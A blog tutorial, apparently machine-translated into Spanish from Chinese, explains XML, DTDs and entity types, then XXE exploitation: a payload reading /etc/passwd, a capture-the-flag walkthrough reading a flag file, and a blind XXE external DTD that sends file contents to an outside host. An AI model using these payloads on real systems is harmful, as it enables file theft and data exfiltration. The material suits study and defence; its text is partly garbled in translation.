Análisis de vulnerabilidades, vulnerabilidades y métodos de utilización de XXE

XXE (XML External Entity Injection) es una vulnerabilidad de inyección de entidad externa XML. La vulnerabilidad XXE ocurre cuando la aplicación está analizando la entrada XML y la carga de entidades externas no está prohibida, lo que puede causar que se carguen archivos externos maliciosos, lo que provoca la lectura de archivos, ejecución de comandos, escaneo de puertos de intranet, ataques a sitios web de intranet, lanzamiento de ataques DOS y otros peligros. La vulnerabilidad XXE a menudo se desencadena por la ubicación donde se puede cargar el archivo XML y el archivo XML cargado no se filtra, lo que conduce a la carga de archivos XML maliciosos.

0x001 XML
XML está diseñado para transmitir y transportar información de datos. No se usa para representar o mostrar datos. HTML se usa para representar datos. Por lo tanto, el enfoque del uso de XML es explicar qué son los datos y transportar información de datos.

Gramática básica

  • Todos los elementos XML deben tener etiquetas de cierre.
  • Las etiquetas XML distinguen entre mayúsculas y minúsculas.
  • El XML debe estar anidado correctamente.
  • El documento XML debe tener un elemento raíz.
  • Los valores de los atributos XML deben estar entre comillas.
  • Los comentarios XML son los mismos que HTML<!-- -->

La siguiente tabla enumera cinco entidades XML predefinidas. El formato para hacer referencia a estas entidades por nombre es & name ;, por ejemplo, & se dibujará como &.
Inserte la descripción de la imagen aquí

0x002 La
definición de tipo de documento del archivo XML DTD 0x002 se puede considerar como una plantilla de uno o más archivos XML, donde puede definir los elementos en el archivo XML, los atributos de los elementos, la disposición de los elementos, el contenido contenido en los elementos, etc. DTD puede definir bloques de construcción de documentos XML legales

<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (nuc,edu)><!--定义note元素有四个元素-->
<!ELEMENT nuc (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT edu (#PCDATA)><!--定义from元素为”#PCDATA”类型-->

]>
<note>
<nuc>hello</nuc>
<edu>world</edu>
</note>

Cuando se utiliza un DTD externo, se introduce mediante la siguiente sintaxis.

<!DOCTYPE root-element SYSTEM "filename">

Instancia de DTD externa

<?xml version="1.0"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<nuc>hello</nuc>
<edu>world</edu>
</note>

test.dtd

<!ELEMENT nuc (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT edu (#PCDATA)><!--定义from元素为”#PCDATA”类型-->

-PCDATA significa los datos de caracteres analizados. PCDATA es el texto que analizará el analizador. El analizador verificará estos textos en busca de entidades y etiquetas. Las etiquetas del texto se tratarán como etiquetas y las entidades se expandirán.
Inserte la descripción de la imagen aquí
Sin embargo, los datos de caracteres analizados no deben contener caracteres &, <o>, y las &amp; &lt; &gt;entidades deben usarse para reemplazarlos respectivamente:
CDATA significa datos de caracteres, CDATA es texto que no será analizado por el analizador y las etiquetas en estos textos no se tratarán como una marca y las entidades que contienen no se ampliarán.

La declaración de atributo de
Inserte la descripción de la imagen aquí
atributo DTD del elemento DTD
utiliza la siguiente sintaxis

<!ATTLIST 元素名称 属性名称 属性类型 默认值>

Ejemplo de DTD

<!ATTLIST nuc edu PCDATA "hello">

Ejemplo XML

<nuc edu="hello">

Entidad
DTD DTD es un conjunto de declaraciones de etiquetas que se utilizan para definir el tipo de documento XML. Define el bloque de estructura legal de un documento XML y la estructura del documento con una lista de elementos y atributos legales. La DTD se puede declarar dentro del documento XML o como una declaración de referencia externa, utilizando el identificador SYSTEM para apuntar a otro conjunto de declaraciones en una ubicación que se pueda resolver. ENTITY puede usar la palabra clave SYSTEM para llamar a recursos externos, y aquí es para admitir muchos protocolos, como: http; archivo, etc., y luego, en otros nodos DoM, puede usar como: & test; para referirse a la entidad contenido.
Inserte la descripción de la imagen aquí
Ejemplo de entidad interna

<?xml version="1.0"?>
<!DOCTYPE note[
<!ELEMENT note (name)>
<!ENTITY hack3r "Hu3sky">
]>
<note>
<name>&hack3r;</name>
</note>

Las entidades DTD son variables que se utilizan para definir atajos para citar texto ordinario o caracteres especiales, que pueden declararse internamente o referenciarse externamente.

Una declaración de entidad interna

<!ENTITY 实体名称 "实体的值">

Ejemplo de
DTD:

<!ENTITY writer "me">

XML:

<author>&writer;</author>

Nota: Una entidad consta de tres partes: un ampersand (&), un nombre de entidad y un punto y coma (;).

Las entidades de parámetros
(1) usan% de nombres de entidades (no hay menos espacio) definidos en DTD, y solo pueden usar% de nombres de entidades en DTD; referencia
(2) solo en archivos DTD, las declaraciones de entidades de parámetros pueden referirse a otras entidades
(3) Al igual que las entidades generales, las entidades de parámetros también se pueden referenciar externamente

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY % param1 "<!ENTITY internal 'http://darkerbox.com'>">//定义参数实体
%param1;//引用参数实体,引用后,值又被xml解析,则internal的值为http://darkerbox.com
]>

<root>
<test>[This is my site] &internal;</test>
</root>

Inserte la descripción de la imagen aquí
Entidad genérica La
entidad a la que se hace referencia por & nombre de entidad; se define en la DTD y se hace referencia a ella en el documento XML

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY test "this is xml" > // 在DTD中定义
]>
<cred>&test;</cred>//在xml文档中引用

Entidad paramétrica + entidad externa

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
  <!ENTITY % name SYSTEM "file:///etc/passwd">
  %name;
]>

%name(Entidades de parámetro) se hace referencia en el DTD, al que &name;se hace referencia en el documento xml.

Una declaración de entidad externa

<!ENTITY 实体名称 SYSTEM "URI/URL">

o

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

ejemplo

DTD:

<!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd">

XML:

<author>&writer;</author>

El tipo de entidad externa tiene
Inserte la descripción de la imagen aquí
CDATA.
CDATA se refiere a los datos de texto (datos de caracteres no analizados) que el analizador XML no debe analizar.
En elementos XML, "<" y "&" son ilegales. "<" producirá un error porque el analizador interpretará este carácter como el comienzo de un nuevo elemento. "&" también producirá un error, porque el analizador interpretará el carácter como el comienzo de una entidad de carácter. Algunos textos, como el código JavaScript, contienen muchos caracteres "<" o "&". Para evitar errores, el código del script se puede definir como CDATA. Todo en la sección CDATA será ignorado por el analizador.
La parte CDATA comienza con "<! [CDATA [" y termina con "]]>":

<?xml version="1.0" encoding="UTF-8"?>
<content><![CDATA[<html></html>]]></content>

resultado
Inserte la descripción de la imagen aquí

XXE explota principalmente las lagunas causadas por DTD que hace referencia a entidades externas.

Método de uso específico:
consulte la lectura de archivos remotos de entidades externas,
lea cualquier archivo
jarvisoj, llamada API para una
pregunta La pregunta de esta pregunta es intentar obtener el valor de la bandera en la máquina de destino /home/ctf/flag.txt.
Ingrese el tema http://web.jarvisoj.com:9882/ y encontramos un cuadro de entrada, y lo
Inserte la descripción de la imagen aquí
capturamos. Encontramos los datos json, y la modificación se puede analizar.
Cambie los datos json a datos xml, construya una inyección de formulario xml y obtenga la bandera
Inserte la descripción de la imagen aquí
aquí. Se usa el identificador SYSTEM, lo que significa que la entidad obtendrá contenido de una fuente externa. En este caso, el contenido es el file:///home/ctf/flag.txtvalor interno.

Blind XXE
Blind XXE significa que no hay inyección de eco.
Primero mira un fragmento de código.

<?xml version="1.0"?>
<!DOCTYPE XXE[
	<!ENTITY % passwd SYSTEM "/ect/passwd">
	<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://example.com/?%passwd'>">
	&wrapper
]>
<pwn>&send</pwn>

De esta manera, el valor de passwd no se puede pasar y el parámetro de entidad no se puede llamar en el valor.

Solución

main.xml

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://example.com/evil.dtd">
<data>&send;</data>
evil.dtd

<!ENTITY % passwd SYSTEM "file:///etc/passwd">
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://example.com/?%passwd'>">
<!ENTITY send SYSTEM 'http://example.com/?CONTENTS_OF_PASSWD'>

Supongo que te gusta

Origin blog.csdn.net/weixin_43749601/article/details/114014875
Recomendado
Clasificación